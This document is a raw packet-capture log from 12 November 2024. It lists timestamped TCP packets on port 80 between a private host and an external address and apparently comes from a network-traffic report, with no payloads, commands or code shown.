Nov 12, 2024 15:41:06.129587889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129599094 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129610062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129625082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129631996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129632950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129647017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129673004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129677057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129688025 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129723072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129731894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129735947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129744053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129755020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129764080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129780054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129816055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129816055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129833937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129844904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129853964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129867077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129875898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129882097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129914999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129931927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.129955053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129975080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129986048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.129997969 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130008936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130022049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130022049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130036116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130059004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130076885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130089045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130101919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130105972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130120039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130125046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130142927 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130163908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130166054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130198002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130227089 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130259991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130270958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130280972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130295038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130309105 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130320072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130333900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130341053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130343914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130367041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130404949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130405903 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130418062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130429983 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130446911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130475044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130481958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130487919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130500078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130513906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130544901 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130548954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130556107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130568981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130589962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130618095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130848885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130860090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130870104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130892992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130922079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130928993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130934000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130945921 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.130964041 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130985975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.130992889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131007910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131030083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131071091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131083965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131089926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131095886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131105900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131117105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131150007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131160021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131160021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131160021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131174088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131186962 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131196976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131197929 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131208897 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131218910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131227970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131268978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131418943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131462097 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131472111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131484985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131513119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131526947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131664991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131676912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131689072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131700993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131714106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131727934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131755114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131758928 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131767988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131779909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131791115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131793976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131804943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131813049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131817102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131841898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131854057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131865978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131865978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131876945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131887913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131891012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131911993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131934881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131936073 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131946087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.131970882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.131984949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132029057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132040024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132051945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132062912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132066965 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132075071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132077932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132082939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132097006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132102013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132112026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132114887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132154942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132195950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132208109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132239103 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132261038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132385015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132397890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132409096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132420063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132435083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132436991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132447004 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132450104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132464886 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132467985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132476091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132487059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132493019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132503986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132517099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132520914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132529974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132540941 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132548094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132553101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132569075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132592916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132642031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132689953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132719994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132733107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132742882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132755041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132756948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132766008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132772923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132778883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132791042 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132812977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132822037 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132836103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132873058 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.132961035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132975101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132986069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132997990 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.132998943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133009911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133013964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133022070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133034945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133038998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133069038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133085012 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133223057 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133244991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133258104 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133276939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133279085 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133286953 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133291960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133299112 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133304119 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133311987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133317947 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133328915 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133333921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133344889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133349895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133361101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133372068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133379936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133383989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133397102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133400917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133411884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133424997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133431911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133446932 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133481979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133680105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133691072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133701086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133706093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133717060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133725882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133730888 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133744001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133748055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133755922 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133766890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133773088 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133779049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133784056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133791924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133804083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133807898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133816004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133831978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133862019 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.133888006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133900881 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.133933067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134032011 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134043932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134053946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134064913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134069920 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134087086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134098053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134100914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134114981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134124994 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134126902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134139061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134144068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134156942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134181976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134206057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134311914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134325027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134335041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134347916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134351015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134361982 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134372950 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134381056 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134387016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.134417057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.134432077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241051912 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241127968 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241283894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241298914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241316080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241328001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241342068 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241378069 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241381884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241394997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241406918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241421938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241447926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241489887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241502047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241518974 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241532087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241532087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241554022 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241556883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241568089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241580009 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241617918 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241643906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241656065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241667032 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241678953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241683960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241697073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241709948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241714954 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241723061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241744995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241770983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241808891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241820097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241830111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241843939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241852999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241874933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241900921 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241921902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241959095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241970062 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.241972923 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.241996050 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242023945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242681980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242695093 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242706060 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242738008 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242758989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242829084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242842913 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242854118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242878914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242899895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242903948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 12, 2024 15:41:06.242913961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 12, 2024 15:41:06.242930889 CET	80	49730	185.215.113.206	192.168.2.4
